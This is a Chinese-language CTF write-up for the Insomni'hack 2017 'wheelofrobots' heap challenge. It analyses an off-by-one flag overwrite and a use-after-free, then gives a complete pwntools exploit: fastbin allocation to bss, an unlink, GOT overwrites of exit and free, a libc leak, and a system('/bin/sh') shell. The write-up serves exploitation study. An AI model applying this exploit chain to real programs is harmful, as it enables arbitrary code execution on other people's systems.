2017 insomni'hack wheelofrobots Writeup
0x00 前言
題目地址:wheelofrobots
程式保護:

0x01 程式分析
1.1 main
main程式如下圖,進入程式后,先顯示選單,然后用戶輸入,根據選項呼叫相應的功能函式,

選單函式如下圖,該程式主要有四個功能:添加、洗掉、修改、輸出,

選項讀取函式如下,使用read()向a1處讀入len長度,然后呼叫atoi將其轉化為數字,

1.2 add
程式一共有6個機器人可供選擇,用數字1,2,3,4,5,6來選擇,根據用戶選擇執行相應的添加流程,總共添加的機器人輪子數不超過2,即最多添加3個機器人,
機器人1 Tinny的分配即case 1部分:判斷是否使用-->申請大小為20塊,將地址保存在tinny-->tinny_inuse置1-->往塊中寫入默認內容-->輪子數+1

機器人2 Bender的添加代碼如下圖,與1 tinny相比可以控制申請塊的大小,并將大小變數保存在bender_size全域變數中,

機器人3 Devil與2一樣,但可以分配更大的記憶體塊,

機器人4 Chain與機器人5 Ire一樣,只能申請固定大小塊,

機器人6 Destructor也是與前面一樣的操作,

1.3 remove
移除的操作每個機器人都一樣,以機器人1為例,這里機器人移除后指標沒有置NULL!

1.4 change
修改操作每個機器人都一樣,只是可寫入的塊大小不同,以機器人1,2為例,

1.5 start_robot
此功能實際為列印,函式sub_400CA0(char *p)包含一個printf列印,可以將p指向的內容列印出來,這里p為各機器人塊地址,但switch中的sub_4051BD()結果是隨機的,且列印完后會執行exit(1)程式會直接退出,
int start_robot()
{
if ( (unsigned __int64)robot_wheel_cnt > 2 ) //要求輪子數為2
{
switch ( (unsigned int)sub_4015BD(6LL) ) //結果具有隨機性
{
case 1u:
if ( !bender_inuse )
goto LABEL_6;
sub_400CA0(tinny); // 列印tinny指標指向的內容
break;
case 2u:
LABEL_6:
if ( !bender_inuse )
goto LABEL_8;
sub_400B20((__int64)"Are you kidding me!!!");
break;
case 3u:
LABEL_8:
if ( !devil_inuse )
goto LABEL_10;
sub_400CA0(devil);
break;
case 4u:
LABEL_10:
if ( !chain_inuse )
goto LABEL_12;
sub_400CA0((char *)chain);
break;
case 5u:
LABEL_12:
if ( !ire_inuse )
goto LABEL_14;
sub_400CA0((char *)ire);
break;
case 6u:
LABEL_14:
if ( !destructor_inuse )
goto LABEL_16;
sub_400CA0((char *)destructor);
break;
default:
LABEL_16:
sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
break;
}
exit(1); // 列印完后直接退出
}
return puts("Filling the wheel first!");
}
1.6 bss變數位置關系
可以看到依次存盤的是:各機器人塊地址-->用戶選擇-->各機器人使用狀態-->輪子數-->各機器人塊大小
.bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w
.bss:00000000006030E0 ; add+296↑r ...
.bss:00000000006030E8 ; void *destructor
.bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w
.bss:00000000006030E8 ; add+3BB↑r ...
.bss:00000000006030F0 ; void *bender
.bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w
.bss:00000000006030F0 ; add+17D↑r ...
.bss:00000000006030F8 ; char *tinny
.bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w
.bss:00000000006030F8 ; add+B7↑r ...
.bss:0000000000603100 ; char *devil
.bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w
.bss:0000000000603100 ; add+240↑r ...
.bss:0000000000603108 ; void *ire
.bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w
.bss:0000000000603108 ; add+2FA↑r ...
.bss:0000000000603110 ; char *choice
.bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o
.bss:0000000000603110 ; add+49↑o ...
.bss:0000000000603111 db ? ;
.bss:0000000000603112 db ? ;
.bss:0000000000603113 db ? ;
.bss:0000000000603114 ; int bender_inuse
.bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r
.bss:0000000000603114 ; add+173↑w ...
.bss:0000000000603118 ; int chain_inuse
.bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r
.bss:0000000000603118 ; add+2B5↑w ...
.bss:000000000060311C ; int destructor_inuse
.bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r
.bss:000000000060311C ; add+3B1↑w ...
.bss:0000000000603120 ; int tinny_inuse
.bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r
.bss:0000000000603120 ; add+AD↑w ...
.bss:0000000000603124 ; int devil_inuse
.bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r
.bss:0000000000603124 ; add+236↑w ...
.bss:0000000000603128 ; int ire_inuse
.bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r
.bss:0000000000603128 ; add+31C↑w ...
.bss:000000000060312C align 10h
.bss:0000000000603130 ; __int64 robot_wheel_cnt
.bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r
.bss:0000000000603130 ; add+D1↑r ...
.bss:0000000000603138 ; __int64 bender_size
.bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w
.bss:0000000000603138 ; change+AC↑r
.bss:0000000000603140 ; __int64 devil_size
.bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w
.bss:0000000000603140 ; change+F5↑r
.bss:0000000000603148 ; __int64 destructor_size
.bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w
.bss:0000000000603148 ; change+19C↑r
0x02 利用思路
從后向前介紹思路,最終要執行system("/bin/sh"),需要泄露某個函式地址,獲得元件加載基址,程式中start_robot功能中的輸出可以被利用來泄露函式地址,但這里輸出的內容為機器人指標指向的內容,所以我們應該想辦法將機器人指標修改為某函式GOT地址,從而泄露該函式實際地址,
為了修改機器人(chunk)指標內容,可以使用unlink,這就需要構造fake_chunk并溢位資料覆寫下一個chunk的header,這里有3個塊的大小由變數決定,若能篡改其中一個塊的size,則可以達到上面的目的,

在前面的分析中發現,機器人指標free后沒有置NULL,我們還可以繼續往對應地址寫入內容,我們可以利用fastbin機制漏洞,將chunk分配到0x603138處,進而可以向0x603148(destructor_size)處寫值,控制destructor chunk大小,實作unlink,
分配chunk到0x603138后
0x603138 pre_size //bender_size
0x603140 size //devil_size
0x603148 userdata //destructor_size
fastbin漏洞原理
fastbin鏈表使用的是單鏈表,設初始申請大小為0x20的chunk0,地址為chunk0_ptr,再釋放,這時鏈表指向:fastbin[0]=>chunk0_ptr
若有個地址fake_ptr,我們可以控制fake_ptr+0x08處的值為0x21(與上面塊大小相同),這時我們向chunk0寫入fake_ptr(利用分配時得到的指標),這時chunk0的fd就會變成fake_ptr,鏈表指向:fastbin[0]=>chunk0_ptr=>fake_ptr
這時我們再分配大小為0x20的塊,就會把chunk0重新分配出來,這時鏈表指向:fastbin[0]=>fake_ptr
然后我們再分配大小為0x20的塊,就會得到一個地址為fake_ptr的chunk,進而可以往fake_ptr+0x10處寫入資料,
P.S. 之所以要求fake_ptr+0x08處值為0x21是因為fastbin在分配時會進行檢查塊大小是否正確(同一個鏈里塊大小相同)
為了實作將chunk分配到0x603138處,需要滿足兩個條件:
- 一個釋放后依然可修改的chunk
0x603140位置可修改(即期望得到的chunk的size欄位)為期望大小
第2個條件很容易滿足,因為0x603140位置為devil_size位置,我們可以在申請devil機器人時設定它的大小,其大小約束(<=0x63)滿足我們的需求,
第1個條件,程式在釋放chunk后沒有對指標置空,所以依然可以利用該指標訪問chunk,但是修改功能會對機器人inuse標志進行判斷,所以我們需要能控制inuse的值,


要篡改inuse的值就要用到程式中存在的一個off by one漏洞了,
如圖所示,在添加機器人時,允許輸入5個位元組到choice,

而choice只有4個位元組,多出的1個位元組會寫到bender_inuse里,進而我們就可以控制bender_inuse的標志!

而bender的大小(20*v7, v7<=4)也滿足我們的要求,因此我們可以利用bender基于fastbin機制漏洞將chunk分到我們指定的區域,
總結
1.利用off by one控制bender_inuse,分配devil大小為0x21,利用bender基于fastbin漏洞基址將地址為0x603038的chunk分配給tinny
2.洗掉bender,devil塊,分配destructor和devil,其中devil塊范圍要超過fastbin,為unlink做準備
3.利用步驟1分配的chunk修改destructor_size,構造payload寫入destructor并溢位到devil的header
4.free(devil)實作unlink,構造payload實作任意地址寫
5.修改機器人指標為某函式地址,將exit@got改為ret地址(防止輸出后退出程式),利用start_robots泄露函式地址
6.計算元件基址,計算system地址值,將free@got改為system地址,將destructor指向binsh字串,然后呼叫delete函式,原意釋放destructor變為執行system("/bin/sh"),得到shell.
0x03 Exploit
利用代碼如下:
from pwn import *
p = process('./wheelofrobots')
#context.log_level = 'debug'
def add(robot, size=0):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', str(robot))
if(robot==2):
p.sendlineafter('intelligence: ', str(size))
elif(robot==3):
p.sendlineafter('cruelty: ', str(size))
elif(robot==6):
p.sendlineafter('powerful: ', str(size))
def remove(robot):
p.sendlineafter('choice : ', '2')
p.sendlineafter('choice :', str(robot))
def change(robot,content):
p.sendlineafter('choice : ', '3')
p.sendlineafter('choice :', str(robot))
p.sendafter('name: ', content)
def start_robot():
p.sendlineafter('choice : ', '4')
def ch_bender_inuse(bit):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', '9999'+bit)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
#gdb.attach(p)
# 分配bender再釋放,使得fastbin[0]指向bender_ptr
add(2,1)
remove(2)
# 為修改bender->fd,利用off by one修改bender_inuse標志為使用
ch_bender_inuse('\x01')
# 將bender->fd設為0x603138
change(2, p64(0x603138))
# 將bender_inuse還原為未使用,fastbin[0]==>bender_ptr==>0x603138
ch_bender_inuse('\x00')
#將bender_ptr重新分配出來,fastbin[0]==>0x603138
add(2,1)
#將0x603140(devil_size)設定為0x21,因fastbin分配時會驗證大小
add(3,0x21)
#將0x603138地址開始的chunk分配給tinny(1)
add(1)
# 因最多分配3個,移除多余的
remove(2)
remove(3)
# 分配兩個chunk用來實作unlink
add(6,3) #destructor,用于溢位,實際資料大小為0x40(3*20=60,再加上對齊)
add(3,7) #devil
# 向1塊用戶空間(0x603148--destructor_size)寫入內容,即修改destructor_size為0x80
change(1,p64(0x80))
# 構造payload unlink
target = 0x6030E8 #destructor指標地址
fd = target - 0x18
bk = target - 0x10
# 構造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
# 修改devil chunk header
payload += p64(0x40) + p64(0xa0)
# 寫入destructor并溢位
change(6,payload)
# unlink,使destructor[0]=&destructor-0x18
remove(3)
# 構造payload寫入destructor即0x6030D0,使tinny指向destructor
# 進而可以通過控制tinny修改destructor的指向,通過destructor修改其指向位置的內容,實作任意寫
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
#.bss:00000000006030D0 stdin dq ? 0
#.bss:00000000006030D8 byte_6030D8 db ? 0
#.bss:00000000006030E0 chain dq ? 'aaaaaaaa'
#.bss:00000000006030E8 destructor dq ? 'aaaaaaaa'
#.bss:00000000006030F0 bender dq ? 'aaaaaaaa'
#.bss:00000000006030F8 tinny dq ? 0x006030E8
#.bss:0000000000603100 devil dq ?
libc = ELF('./libc-2.23.so')
elf = ELF('./wheelofrobots')
# patch exit為return指令,防止輸出地址后exit(1)退出
write(elf.got['exit'], 0x401954)
puts_got = elf.got['puts']
# .bss:0000000000603130 robot_wheel_cnt dq ?
# 修改robot_wheel_cnt值為3,使start_robot()可以輸出
write(0x603130, 3)
# 修改tinny指向(destructor)值為puts@got地址
change(1,p64(elf.got['puts']))
# 輸出destructor指向(puts@got)的內容,即puts的實際地址
start_robot()
p.recvuntil('great!! Thx ')
leak = p.recvuntil('!\n')[:-2]
leak_puts = u64(leak.ljust(8,b'\x00'))
log.success('leak puts addr: ' + hex(leak_puts))
# 計算元件加載基址,及system函式地址
libc_base = leak_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('/bin/sh addr: ' + hex(binsh_addr))
# 將free@got值改為system函式地址
write(elf.got['free'], sys_addr)
# 將destructor設為"/bin/sh"字串地址
change(1,p64(binsh_addr))
# free(destructor)==>system("/bin/sh")
remove(6)
p.interactive()
執行結果

0x04 參考鏈接
CTF-WIKI-Unlink
CTF-WIKI-Alloc to Stack
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/510864.html
標籤:其他
上一篇:關于程式員成長的一些思考
